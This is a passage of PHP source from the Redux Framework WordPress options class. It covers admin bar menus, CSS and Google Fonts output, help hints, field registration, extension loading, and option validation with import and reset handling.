$submenu[ $this->args["page_slug"] ] ) && is_array( $submenu[ $this->args["page_slug"] ] ) ) { foreach ( $submenu[ $this->args["page_slug"] ] as $index => $redux_options_submenu ) { $subnodeargs = array( 'id' => $this->args["page_slug"] . '_' . $index, 'title' => $redux_options_submenu[0], 'parent' => $this->args["page_slug"], 'href' => admin_url( 'admin.php?page=' . $redux_options_submenu[2] ), ); $wp_admin_bar->add_node( $subnodeargs ); } } // Let's deal with external links if ( isset ( $this->args['admin_bar_links'] ) ) { if ( ! $this->args['dev_mode'] && $this->omit_admin_items ) { return; } // Group for Main Root Menu (External Group) $wp_admin_bar->add_node( array( 'id' => $this->args["page_slug"] . '-external', 'parent' => $this->args["page_slug"], 'group' => true, 'meta' => array( 'class' => 'ab-sub-secondary' ) ) ); // Add Child Menus to External Group Menu foreach ( $this->args['admin_bar_links'] as $link ) { if ( ! isset ( $link['id'] ) ) { $link['id'] = $this->args["page_slug"] . '-sub-' . sanitize_html_class( $link['title'] ); } $externalnodeargs = array( 'id' => $link['id'], 'title' => $link['title'], 'parent' => $this->args["page_slug"] . '-external', 'href' => $link['href'], 'meta' => array( 'target' => '_blank' ) ); $wp_admin_bar->add_node( $externalnodeargs ); } } } else { // Fetch the title $title = empty ( $this->args['admin_bar_icon'] ) ? $this->args['menu_title'] : '<span class="ab-icon ' . $this->args['admin_bar_icon'] . '"></span>' . $this->args['menu_title']; $nodeargs = array( 'id' => $this->args["page_slug"], 'title' => $title, 'href' => admin_url( 'admin.php?page=' . $this->args["page_slug"] ), 'meta' => array() ); $wp_admin_bar->add_node( $nodeargs ); } } // _admin_bar_menu() /** * Output dynamic CSS at bottom of HEAD * * @since 3.2.8 * @access public * @return void */ public function _output_css() { if ( $this->args['output'] == false && $this->args['compiler'] == false ) { return; } if ( isset ( $this->no_output ) ) { return; } if ( ! empty ( $this->outputCSS ) && ( $this->args['output_tag'] == true || ( isset ( $_POST['customized'] ) ) ) ) { echo '<style type="text/css" title="dynamic-css" class="options-output">' . $this->outputCSS . '</style>'; } } /** * Enqueue CSS and Google fonts for front end * * @since 1.0.0 * @access public * @return void */ public function _enqueue_output() { if ( $this->args['output'] == false && $this->args['compiler'] == false ) { return; } /** @noinspection PhpUnusedLocalVariableInspection */ foreach ( $this->sections as $k => $section ) { if ( isset ( $section['type'] ) && ( $section['type'] == 'divide' ) ) { continue; } if ( isset ( $section['fields'] ) ) { /** @noinspection PhpUnusedLocalVariableInspection */ foreach ( $section['fields'] as $fieldk => $field ) { if ( isset ( $field['type'] ) && $field['type'] != "callback" ) { $field_class = "ReduxFramework_{$field['type']}"; if ( ! class_exists( $field_class ) ) { if ( ! isset ( $field['compiler'] ) ) { $field['compiler'] = ""; } /** * Field class file * filter 'redux/{opt_name}/field/class/{field.type} * * @param string field class file * @param array $field field config data */ $class_file = apply_filters( "redux/{$this->args['opt_name']}/field/class/{$field['type']}", self::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file && file_exists( $class_file ) && ! class_exists( $field_class ) ) { /** @noinspection PhpIncludeInspection */ require_once $class_file; } } if ( ! empty ( $this->options[ $field['id'] ] ) && class_exists( $field_class ) && method_exists( $field_class, 'output' ) && $this->_can_output_css( $field ) ) { $field = apply_filters( "redux/field/{$this->args['opt_name']}/output_css", $field ); if ( ! empty ( $field['output'] ) && ! is_array( $field['output'] ) ) { $field['output'] = array( $field['output'] ); } $value = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : ''; $enqueue = new $field_class ( $field, $value, $this ); if ( ( ( isset ( $field['output'] ) && ! empty ( $field['output'] ) ) || ( isset ( $field['compiler'] ) && ! empty ( $field['compiler'] ) ) || $field['type'] == "typography" || $field['type'] == "icon_select" ) ) { $enqueue->output(); } } } } } } // For use like in the customizer. Stops the output, but passes the CSS in the variable for the compiler if ( isset ( $this->no_output ) ) { return; } if ( ! empty ( $this->typography ) && ! empty ( $this->typography ) && filter_var( $this->args['output'], FILTER_VALIDATE_BOOLEAN ) ) { $version = ! empty ( $this->transients['last_save'] ) ? $this->transients['last_save'] : ''; $typography = new ReduxFramework_typography ( null, null, $this ); if ( $this->args['async_typography'] && ! empty ( $this->typography ) ) { $families = array(); foreach ( $this->typography as $key => $value ) { $families[] = $key; } ?> <script> /* You can add more configuration options to webfontloader by previously defining the WebFontConfig with your options */ if ( typeof WebFontConfig === "undefined" ) { WebFontConfig = new Object(); } WebFontConfig['google'] = {families: [<?php echo $typography->makeGoogleWebfontString ( $this->typography ) ?>]}; (function() { var wf = document.createElement( 'script' ); wf.src = 'https://ajax.googleapis.com/ajax/libs/webfont/1.5.3/webfont.js'; wf.type = 'text/javascript'; wf.async = 'true'; var s = document.getElementsByTagName( 'script' )[0]; s.parentNode.insertBefore( wf, s ); })(); </script> <?php } elseif ( ! $this->args['disable_google_fonts_link'] ) { $protocol = ( ! empty ( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ) ? "https:" : "http:"; //echo '<link rel="stylesheet" id="options-google-fonts" title="" href="'.$protocol.$typography->makeGoogleWebfontLink( $this->typography ).'&v='.$version.'" type="text/css" media="all" />'; wp_register_style( 'redux-google-fonts-' . $this->args['opt_name'], $protocol . $typography->makeGoogleWebfontLink( $this->typography ), '', $version ); wp_enqueue_style( 'redux-google-fonts-' . $this->args['opt_name'] ); } } } // _enqueue_output() /** * Enqueue CSS/JS for options page * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue() { require_once 'core/enqueue.php'; $enqueue = new reduxCoreEnqueue ( $this ); $enqueue->init(); } // _enqueue() /** * Show page help * * @since 1.0.0 * @access public * @return void */ public function _load_page() { // Do admin head action for this page add_action( 'admin_head', array( &$this, 'admin_head' ) ); // Do admin footer text hook add_filter( 'admin_footer_text', array( &$this, 'admin_footer_text' ) ); $screen = get_current_screen(); if ( is_array( $this->args['help_tabs'] ) ) { foreach ( $this->args['help_tabs'] as $tab ) { $screen->add_help_tab( $tab ); } } // If hint argument is set, display hint tab if ( true == $this->show_hints ) { global $current_user; // Users enable/disable hint choice $hint_status = get_user_meta( $current_user->ID, 'ignore_hints' ) ? get_user_meta( $current_user->ID, 'ignore_hints', true ) : 'true'; // current page parameters $curPage = esc_attr( $_GET['page'] ); $curTab = '0'; if ( isset ( $_GET['tab'] ) ) { $curTab = esc_attr( $_GET['tab'] ); } // Default url values for enabling hints. $dismiss = 'true'; $s = __( 'Enable', 'redux-framework' ); // Values for disabling hints. if ( 'true' == $hint_status ) { $dismiss = 'false'; $s = __( 'Disable', 'redux-framework' ); } // Make URL $url = '<a class="redux_hint_status" href="?dismiss=' . $dismiss . '&id=hints&page=' . $curPage . '&tab=' . $curTab . '">' . $s . ' hints</a>'; $event = __( 'moving the mouse over', 'redux-framework' ); if ( 'click' == $this->args['hints']['tip_effect']['show']['event'] ) { $event = __( 'clicking', 'redux-framework' ); } // Construct message $msg = sprintf( __( 'Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.', 'redux-framework' ), $event, strtolower( $s ) ) . '<br/><br/>' . $url; // Construct hint tab $tab = array( 'id' => 'redux-hint-tab', 'title' => __( 'Hints', 'redux-framework' ), 'content' => '<p>' . $msg . '</p>' ); $screen->add_help_tab( $tab ); } // Sidebar text if ( $this->args['help_sidebar'] != '' ) { // Specify users text from arguments $screen->set_help_sidebar( $this->args['help_sidebar'] ); } else { // If sidebar text is empty and hints are active, display text // about hints. if ( true == $this->show_hints ) { $screen->set_help_sidebar( '<p><strong>Redux Framework</strong><br/><br/>Hint Tooltip Preferences</p>' ); } } /** * action 'redux-load-page-{opt_name}' * * @deprecated * * @param object $screen WP_Screen */ do_action( "redux-load-page-{$this->args['opt_name']}", $screen ); // REMOVE /** * action 'redux/page/{opt_name}/load' * * @param object $screen WP_Screen */ do_action( "redux/page/{$this->args['opt_name']}/load", $screen ); } // _load_page() /** * Do action redux-admin-head for options page * * @since 1.0.0 * @access public * @return void */ public function admin_head() { /** * action 'redux-admin-head-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux-admin-head-{$this->args['opt_name']}", $this ); // REMOVE /** * action 'redux/page/{opt_name}/header' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->args['opt_name']}/header", $this ); } // admin_head() /** * Return footer text * * @since 2.0.0 * @access public * @return string $this->args['footer_credit'] */ public function admin_footer_text() { return $this->args['footer_credit']; } // admin_footer_text() /** * Return default output string for use in panel * * @since 3.1.5 * @access public * @return string default_output */ private function get_default_output_string( $field ) { $default_output = ""; if ( ! isset ( $field['default'] ) ) { $field['default'] = ""; } if ( ! is_array( $field['default'] ) ) { if ( ! empty ( $field['options'][ $field['default'] ] ) ) { if ( ! empty ( $field['options'][ $field['default'] ]['alt'] ) ) { $default_output .= $field['options'][ $field['default'] ]['alt'] . ', '; } else { // TODO: This serialize fix may not be the best solution. Look into it. PHP 5.4 error without serialize if ( ! is_array( $field['options'][ $field['default'] ] ) ) { $default_output .= $field['options'][ $field['default'] ] . ", "; } else { $default_output .= serialize( $field['options'][ $field['default'] ] ) . ", "; } } } else if ( ! empty ( $field['options'][ $field['default'] ] ) ) { $default_output .= $field['options'][ $field['default'] ] . ", "; } else if ( ! empty ( $field['default'] ) ) { if ( $field['type'] == 'switch' && isset ( $field['on'] ) && isset ( $field['off'] ) ) { $default_output .= ( $field['default'] == 1 ? $field['on'] : $field['off'] ) . ', '; } else { $default_output .= $field['default'] . ', '; } } } else { foreach ( $field['default'] as $defaultk => $defaultv ) { if ( ! empty ( $field['options'][ $defaultv ]['alt'] ) ) { $default_output .= $field['options'][ $defaultv ]['alt'] . ', '; } else if ( ! empty ( $field['options'][ $defaultv ] ) ) { $default_output .= $field['options'][ $defaultv ] . ", "; } else if ( ! empty ( $field['options'][ $defaultk ] ) ) { $default_output .= $field['options'][ $defaultk ] . ", "; } else if ( ! empty ( $defaultv ) ) { $default_output .= $defaultv . ', '; } } } if ( ! empty ( $default_output ) ) { $default_output = __( 'Default', 'redux-framework' ) . ": " . substr( $default_output, 0, - 2 ); } if ( ! empty ( $default_output ) ) { $default_output = '<span class="showDefaults">' . $default_output . '</span><br class="default_br" />'; } return $default_output; } // get_default_output_string() public function get_header_html( $field ) { global $current_user; // Set to empty string to avoid wanrings. $hint = ''; $th = ""; if ( isset ( $field['title'] ) && isset ( $field['type'] ) && $field['type'] !== "info" && $field['type'] !== "section" ) { $default_mark = ( ! empty ( $field['default'] ) && isset ( $this->options[ $field['id'] ] ) && $this->options[ $field['id'] ] == $field['default'] && ! empty ( $this->args['default_mark'] ) && isset ( $field['default'] ) ) ? $this->args['default_mark'] : ''; // If a hint is specified in the field, process it. if ( isset ( $field['hint'] ) && ! '' == $field['hint'] ) { // Set show_hints flag to true, so helptab will be displayed. $this->show_hints = true; $hint = apply_filters( 'redux/hints/html', $hint, $field, $this->args ); // Get user pref for displaying hints. $metaVal = get_user_meta( $current_user->ID, 'ignore_hints', true ); if ( 'true' == $metaVal || empty ( $metaVal ) && empty( $hint ) ) { // Set hand cursor for clickable hints $pointer = ''; if ( isset ( $this->args['hints']['tip_effect']['show']['event'] ) && 'click' == $this->args['hints']['tip_effect']['show']['event'] ) { $pointer = 'pointer'; } $size = '16px'; if ( 'large' == $this->args['hints']['icon_size'] ) { $size = '18px'; } // In case docs are ignored. $titleParam = isset ( $field['hint']['title'] ) ? $field['hint']['title'] : ''; $contentParam = isset ( $field['hint']['content'] ) ? $field['hint']['content'] : ''; $hint_color = isset ( $this->args['hints']['icon_color'] ) ? $this->args['hints']['icon_color'] : '#d3d3d3'; // Set hint html with appropriate position css $hint = '<div class="redux-hint-qtip" style="float:' . $this->args['hints']['icon_position'] . '; font-size: ' . $size . '; color:' . $hint_color . '; cursor: ' . $pointer . ';" qtip-title="' . $titleParam . '" qtip-content="' . $contentParam . '"> <i class="' . ( isset( $this->args['hints']['icon'] ) ? $this->args['hints']['icon'] : '' ) . '"></i></div>'; } } if ( ! empty ( $field['title'] ) ) { if ( 'left' == $this->args['hints']['icon_position'] ) { $th = $hint . $field['title'] . $default_mark . ""; } else { $th = $field['title'] . $default_mark . "" . $hint; } } if ( isset ( $field['subtitle'] ) ) { $th .= '<span class="description">' . $field['subtitle'] . '</span>'; } } if ( ! empty ( $th ) ) { $th = '<div class="redux_field_th">' . $th . '</div>'; } $filter_arr = array( 'editor', 'ace_editor', 'info', 'section', 'repeater', 'color_scheme', 'social_profiles', 'css_layout' ); if ( $this->args['default_show'] == true && isset ( $field['default'] ) && isset ( $this->options[ $field['id'] ] ) && $this->options[ $field['id'] ] != $field['default'] && ! in_array( $field['type'], $filter_arr ) ) { $th .= $this->get_default_output_string( $field ); } return $th; } /** * Register Option for use * * @since 1.0.0 * @access public * @return void */ public function _register_settings() { // TODO - REMOVE // Not used by new sample-config, but in here for legacy builds // This is bad and can break things. Hehe. if ( ! function_exists( 'wp_get_current_user' ) ) { require_once ABSPATH . "wp-includes/pluggable.php"; } if ( $this->args['options_api'] == true ) { register_setting( $this->args['opt_name'] . '_group', $this->args['opt_name'], array( $this, '_validate_options' ) ); } if ( is_null( $this->sections ) ) { return; } if ( empty( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } $runUpdate = false; foreach ( $this->sections as $k => $section ) { if ( isset ( $section['type'] ) && $section['type'] == 'divide' ) { continue; } $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $section['panel'] ) && $section['panel'] == false ) { $display = false; } } // DOVY! Replace $k with $section['id'] when ready /** * filter 'redux-section-{index}-modifier-{opt_name}' * * @param array $section section configuration */ $section = apply_filters( "redux-section-{$k}-modifier-{$this->args['opt_name']}", $section ); /** * filter 'redux/options/{opt_name}/section/{section.id}' * * @param array $section section configuration */ if ( isset ( $section['id'] ) ) { $section = apply_filters( "redux/options/{$this->args['opt_name']}/section/{$section['id']}", $section ); } if ( empty ( $section ) ) { unset ( $this->sections[ $k ] ); continue; } if ( ! isset ( $section['title'] ) ) { $section['title'] = ""; } if ( isset ( $section['customizer_only'] ) && $section['customizer_only'] == true ) { $section['panel'] = false; $this->sections[ $k ] = $section; } $heading = isset ( $section['heading'] ) ? $section['heading'] : $section['title']; if ( isset ( $section['permissions'] ) ) { if ( ! self::current_user_can( $section['permissions'] ) ) { $this->hidden_perm_sections[] = $section['title']; foreach ( $section['fields'] as $num => $field_data ) { $field_type = $field_data['type']; if ( $field_type != 'section' || $field_type != 'divide' || $field_type != 'info' || $field_type != 'raw' ) { $field_id = $field_data['id']; $default = isset ( $this->options_defaults[ $field_id ] ) ? $this->options_defaults[ $field_id ] : ''; $data = isset ( $this->options[ $field_id ] ) ? $this->options[ $field_id ] : $default; $this->hidden_perm_fields[ $field_id ] = $data; } } continue; } } if ( ! $display || ! function_exists( 'add_settings_section' ) ) { $this->no_panel_section[ $k ] = $section; } else { add_settings_section( $this->args['opt_name'] . $k . '_section', $heading, array( &$this, '_section_desc' ), $this->args['opt_name'] . $k . '_section_group' ); } $sectionIndent = false; if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $fieldk => $field ) { if ( ! isset ( $field['type'] ) ) { continue; // You need a type! } if ( $field['type'] == "info" && isset( $field['raw_html'] ) && $field['raw_html'] == true ) { $field['type'] = "raw"; $field['content'] = $field['desc']; $field['desc'] = ""; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } else if ( $field['type'] == "info" ) { if ( ! isset( $field['full_width'] ) ) { $field['full_width'] = true; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } } if ( $field['type'] == "raw" ) { if ( isset( $field['align'] ) ) { $field['full_width'] = $field['align'] ? false : true; unset( $field['align'] ); } else if ( ! isset( $field['full_width'] ) ) { $field['full_width'] = true; } $this->sections[ $k ]['fields'][ $fieldk ] = $field; } /** * filter 'redux/options/{opt_name}/field/{field.id}' * * @param array $field field config */ $field = apply_filters( "redux/options/{$this->args['opt_name']}/field/{$field['id']}/register", $field ); $this->field_types[ $field['type'] ] = isset ( $this->field_types[ $field['type'] ] ) ? $this->field_types[ $field['type'] ] : array(); $this->field_sections[ $field['type'] ][ $field['id'] ] = $k; $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $field['panel'] ) && $field['panel'] == false ) { $display = false; } } if ( isset ( $field['customizer_only'] ) && $field['customizer_only'] == true ) { $display = false; } if ( isset ( $section['customizer'] ) ) { $field['customizer'] = $section['customizer']; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } if ( isset ( $field['permissions'] ) ) { if ( ! self::current_user_can( $field['permissions'] ) ) { $data = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : $this->options_defaults[ $field['id'] ]; $this->hidden_perm_fields[ $field['id'] ] = $data; continue; } } if ( ! isset ( $field['id'] ) ) { echo '<br /><h3>No field ID is set.</h3><pre>'; print_r( $field ); echo "</pre><br />"; continue; } if ( isset ( $field['type'] ) && $field['type'] == "section" ) { if ( isset ( $field['indent'] ) && $field['indent'] == true ) { $sectionIndent = true; } else { $sectionIndent = false; } } if ( isset ( $field['type'] ) && $field['type'] == "info" && $sectionIndent ) { $field['indent'] = $sectionIndent; } $th = $this->get_header_html( $field ); $field['name'] = $this->args['opt_name'] . '[' . $field['id'] . ']'; // Set the default value if present $this->options_defaults[ $field['id'] ] = isset ( $this->options_defaults[ $field['id'] ] ) ? $this->options_defaults[ $field['id'] ] : ''; // Set the defaults to the value if not present $doUpdate = false; // Check fields for values in the default parameter if ( ! isset ( $this->options[ $field['id'] ] ) && isset ( $field['default'] ) ) { $this->options_defaults[ $field['id'] ] = $this->options[ $field['id'] ] = $field['default']; $doUpdate = true; // Check fields that hae no default value, but an options value with settings to // be saved by default } elseif ( ! isset ( $this->options[ $field['id'] ] ) && isset ( $field['options'] ) ) { // If sorter field, check for options as save them as defaults if ( $field['type'] == 'sorter' || $field['type'] == 'sortable' ) { $this->options_defaults[ $field['id'] ] = $this->options[ $field['id'] ] = $field['options']; $doUpdate = true; } } // CORRECT URLS if media URLs are wrong, but attachment IDs are present. if ( $field['type'] == "media" ) { if ( isset ( $this->options[ $field['id'] ]['id'] ) && isset ( $this->options[ $field['id'] ]['url'] ) && ! empty ( $this->options[ $field['id'] ]['url'] ) && strpos( $this->options[ $field['id'] ]['url'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { $data = wp_get_attachment_url( $this->options[ $field['id'] ]['id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ]['url'] = $data; $data = wp_get_attachment_image_src( $this->options[ $field['id'] ]['id'], array( 150, 150 ) ); $this->options[ $field['id'] ]['thumbnail'] = $data[0]; $doUpdate = true; } } } if ( $field['type'] == "background" ) { if ( isset ( $this->options[ $field['id'] ]['media']['id'] ) && isset ( $this->options[ $field['id'] ]['background-image'] ) && ! empty ( $this->options[ $field['id'] ]['background-image'] ) && strpos( $this->options[ $field['id'] ]['background-image'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { $data = wp_get_attachment_url( $this->options[ $field['id'] ]['media']['id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ]['background-image'] = $data; $data = wp_get_attachment_image_src( $this->options[ $field['id'] ]['media']['id'], array( 150, 150 ) ); $this->options[ $field['id'] ]['media']['thumbnail'] = $data[0]; $doUpdate = true; } } } if ( $field['type'] == "slides" ) { if ( isset ( $this->options[ $field['id'] ] ) && is_array( $this->options[ $field['id'] ] ) && isset ( $this->options[ $field['id'] ][0]['attachment_id'] ) && isset ( $this->options[ $field['id'] ][0]['image'] ) && ! empty ( $this->options[ $field['id'] ][0]['image'] ) && strpos( $this->options[ $field['id'] ][0]['image'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { foreach ( $this->options[ $field['id'] ] as $key => $val ) { $data = wp_get_attachment_url( $val['attachment_id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ][ $key ]['image'] = $data; $data = wp_get_attachment_image_src( $val['attachment_id'], array( 150, 150 ) ); $this->options[ $field['id'] ][ $key ]['thumb'] = $data[0]; $doUpdate = true; } } } } // END -> CORRECT URLS if media URLs are wrong, but attachment IDs are present. if ( true == $doUpdate && ! isset ( $this->never_save_to_db ) ) { if ( $this->args['save_defaults'] ) { // Only save that to the DB if allowed to $runUpdate = true; } // elseif($this->saved != '' && $this->saved != false) { // $runUpdate = true; //} } if ( ! isset ( $field['class'] ) ) { // No errors please $field['class'] = ""; } $id = $field['id']; /** * filter 'redux-field-{field.id}modifier-{opt_name}' * * @deprecated * * @param array $field field config */ $field = apply_filters( "redux-field-{$field['id']}modifier-{$this->args['opt_name']}", $field ); // REMOVE LATER /** * filter 'redux/options/{opt_name}/field/{field.id}' * * @param array $field field config */ $field = apply_filters( "redux/options/{$this->args['opt_name']}/field/{$field['id']}", $field ); if ( empty ( $field ) || ! $field || $field == false ) { unset ( $this->sections[ $k ]['fields'][ $fieldk ] ); continue; } if ( ! empty ( $this->folds[ $field['id'] ]['parent'] ) ) { // This has some fold items, hide it by default $field['class'] .= " fold"; } if ( ! empty ( $this->folds[ $field['id'] ]['children'] ) ) { // Sets the values you shoe fold children on $field['class'] .= " foldParent"; } if ( ! empty ( $field['compiler'] ) ) { $field['class'] .= " compiler"; $this->compiler_fields[ $field['id'] ] = 1; } if ( isset ( $field['unit'] ) && ! isset ( $field['units'] ) ) { $field['units'] = $field['unit']; unset ( $field['unit'] ); } $this->sections[ $k ]['fields'][ $fieldk ] = $field; if ( isset ( $this->args['display_source'] ) ) { $th .= '<div id="' . $field['id'] . '-settings" style="display:none;"><pre>' . var_export( $this->sections[ $k ]['fields'][ $fieldk ], true ) . '</pre></div>'; $th .= '<br /><a href="#TB_inline?width=600&height=800&inlineId=' . $field['id'] . '-settings" class="thickbox"><small>View Source</small></a>'; } /** * action 'redux/options/{opt_name}/field/field.type}/register' */ do_action( "redux/options/{$this->args['opt_name']}/field/{$field['type']}/register", $field ); $this->check_dependencies( $field ); $this->field_head[ $field['id'] ] = $th; if ( ! $display || isset ( $this->no_panel_section[ $k ] ) ) { $this->no_panel[] = $field['id']; } else { if ( isset ( $field['hidden'] ) && $field['hidden'] ) { $field['label_for'] = 'redux_hide_field'; } if ( $this->args['options_api'] == true ) { add_settings_field( "{$fieldk}_field", $th, array( &$this, '_field_input' ), "{$this->args['opt_name']}{$k}_section_group", "{$this->args['opt_name']}{$k}_section", $field ); } } } } } /** * action 'redux-register-settings-{opt_name}' * * @deprecated */ do_action( "redux-register-settings-{$this->args['opt_name']}" ); // REMOVE /** * action 'redux/options/{opt_name}/register' * * @param array option sections */ do_action( "redux/options/{$this->args['opt_name']}/register", $this->sections ); if ( $runUpdate && ! isset ( $this->never_save_to_db ) ) { // Always update the DB with new fields $this->set_options( $this->options ); } if ( isset ( $this->transients['run_compiler'] ) && $this->transients['run_compiler'] ) { $this->no_output = true; $this->_enqueue_output(); /** * action 'redux-compiler-{opt_name}' * * @deprecated * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux-compiler-{$this->args['opt_name']}", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); // REMOVE /** * action 'redux/options/{opt_name}a' * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux/options/{$this->args['opt_name']}/compiler", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); /** * action 'redux/options/{opt_name}/compiler/advanced' * * @param array options * @param string CSS that get sent to the compiler hook, which sends the full Redux object */ do_action( "redux/options/{$this->args['opt_name']}/compiler/advanced", $this ); unset ( $this->transients['run_compiler'] ); $this->set_transients(); } } // _register_settings() /** * Register Extensions for use * * @since 3.0.0 * @access public * @return void */ private function _register_extensions() { $path = dirname( __FILE__ ) . '/inc/extensions/'; $folders = scandir( $path, 1 ); /** * action 'redux/extensions/before' * * @param object $this ReduxFramework */ do_action( "redux/extensions/before", $this ); /** * action 'redux/extensions/{opt_name}/before' * * @param object $this ReduxFramework */ do_action( "redux/extensions/{$this->args['opt_name']}/before", $this ); if ( isset( $this->old_opt_name ) ) { do_action( "redux/extensions/{$this->old_opt_name}/before", $this ); } foreach ( $folders as $folder ) { if ( $folder === '.' || $folder === '..' || ! is_dir( $path . $folder ) || substr( $folder, 0, 1 ) === '.' || substr( $folder, 0, 1 ) === '@' || substr( $folder, 0, 4 ) === '_vti' ) { continue; } $extension_class = 'ReduxFramework_Extension_' . $folder; /** * filter 'redux-extensionclass-load' * * @deprecated * * @param string extension class file path * @param string $extension_class extension class name */ $class_file = apply_filters( "redux-extensionclass-load", "$path/$folder/extension_{$folder}.php", $extension_class ); // REMOVE LATER /** * filter 'redux/extension/{opt_name}/{folder}' * * @param string extension class file path * @param string $extension_class extension class name */ $class_file = apply_filters( "redux/extension/{$this->args['opt_name']}/$folder", "$path/$folder/extension_{$folder}.php", $class_file ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once $class_file; $this->extensions[ $folder ] = new $extension_class ( $this ); } } } /** * action 'redux-register-extensions-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux-register-extensions-{$this->args['opt_name']}", $this ); // REMOVE /** * action 'redux/extensions/{opt_name}' * * @param object $this ReduxFramework */ do_action( "redux/extensions/{$this->args['opt_name']}", $this ); if ( isset( $this->old_opt_name ) && ! empty( $this->old_opt_name ) ) { do_action( "redux/extensions/{$this->old_opt_name}", $this ); } } private function get_transients() { if ( ! isset ( $this->transients ) ) { $this->transients = get_option( $this->args['opt_name'] . '-transients', array() ); $this->transients_check = $this->transients; } } public function set_transients() { if ( ! isset ( $this->transients ) || ! isset ( $this->transients_check ) || $this->transients != $this->transients_check ) { update_option( $this->args['opt_name'] . '-transients', $this->transients ); $this->transients_check = $this->transients; } } /** * Validate the Options options before insertion * * @since 3.0.0 * @access public * * @param array $plugin_options The options array * * @return array|mixed|string|void */ public function _validate_options( $plugin_options ) { //print_r($plugin_options); // exit(); if ( isset ( $this->validation_ran ) ) { return $plugin_options; } $this->validation_ran = 1; // Save the values not in the panel if ( isset ( $plugin_options['redux-no_panel'] ) ) { $keys = explode( '|', $plugin_options['redux-no_panel'] ); foreach ( $keys as $key ) { $plugin_options[ $key ] = $this->options[ $key ]; } if ( isset ( $plugin_options['redux-no_panel'] ) ) { unset ( $plugin_options['redux-no_panel'] ); } } if ( ! empty ( $this->hidden_perm_fields ) && is_array( $this->hidden_perm_fields ) ) { foreach ( $this->hidden_perm_fields as $id => $data ) { $plugin_options[ $id ] = $data; } } if ( $plugin_options == $this->options ) { return $plugin_options; } $time = time(); // Sets last saved time $this->transients['last_save'] = $time; // Import if ( ( isset( $plugin_options['import_code'] ) && ! empty( $plugin_options['import_code'] ) ) || ( isset( $plugin_options['import_link'] ) && ! empty( $plugin_options['import_link'] ) ) ) { $this->transients['last_save_mode'] = "import"; // Last save mode $this->transients['last_compiler'] = $time; $this->transients['last_import'] = $time; $this->transients['run_compiler'] = 1; if ( $plugin_options['import_code'] != '' ) { $import = $plugin_options['import_code']; } elseif ( $plugin_options['import_link'] != '' ) { $import = wp_remote_retrieve_body( wp_remote_get( $plugin_options['import_link'] ) ); } if ( ! empty ( $import ) ) { $imported_options = json_decode( $import, true ); } if ( ! empty ( $imported_options ) && is_array( $imported_options ) && isset ( $imported_options['redux-backup'] ) && $imported_options['redux-backup'] == '1' ) { $this->transients['changed_values'] = array(); foreach ( $plugin_options as $key => $value ) { if ( isset ( $imported_options[ $key ] ) && $imported_options[ $key ] != $value ) { $this->transients['changed_values'][ $key ] = $value; $plugin_options[ $key ] = $value; } } /** * action 'redux/options/{opt_name}/import' * * @param &array [&$plugin_options, redux_options] */ do_action_ref_array( "redux/options/{$this->args['opt_name']}/import", array( &$plugin_options, $imported_options, $this->transients['changed_values'] ) ); setcookie( 'redux_current_tab', '', 1, '/', $time + 1000, "/" ); $_COOKIE['redux_current_tab'] = 1; unset ( $plugin_options['defaults'], $plugin_options['compiler'], $plugin_options['import'], $plugin_options['import_code'] ); if ( $this->args['database'] == 'transient' || $this->args['database'] == 'theme_mods' || $this->args['database'] == 'theme_mods_expanded' || $this->args['database'] == 'network' ) { $this->set_options( $plugin_options ); return; } $plugin_options = wp_parse_args( $imported_options, $plugin_options ); $this->set_transients(); // Update the transients return $plugin_options; } } // Reset all to defaults if ( ! empty ( $plugin_options['defaults'] ) ) { if ( empty ( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } /** * apply_filters 'redux/validate/{opt_name}/defaults' * * @param &array [ $this->options_defaults, $plugin_options] */ $plugin_options = apply_filters( "redux/validate/{$this->args['opt_name']}/defaults", $this->options_defaults ); $this->transients['changed_values'] = array(); if ( empty ( $this->options ) ) { $this->options = $this->options_defaults; } foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } $this->transients['run_compiler'] = 1; $this->transients['last_save_mode'] = "defaults"; // Last save mode //setcookie('redux-compiler-' . $this->args['opt_name'], 1, time() + 1000, "/"); //setcookie("redux-saved-{$this->args['opt_name']}", 'defaults', time() + 1000, "/"); $this->set_transients(); // Update the transients return $plugin_options; } // Section reset to defaults if ( ! empty ( $plugin_options['defaults-section'] ) ) { if ( isset ( $plugin_options['redux-section'] ) && isset ( $this->sections[ $plugin_options['redux-section'] ]['fields'] ) ) { /** * apply_filters 'redux/validate/{opt_name}/defaults_section' * * @param &array [ $this->options_defaults, $plugin_options] */ foreach ( $this->sections[ $plugin_options['redux-section'] ]['fields'] as $field ) { if ( isset ( $this->options_defaults[ $field['id'] ] ) ) { $plugin_options[ 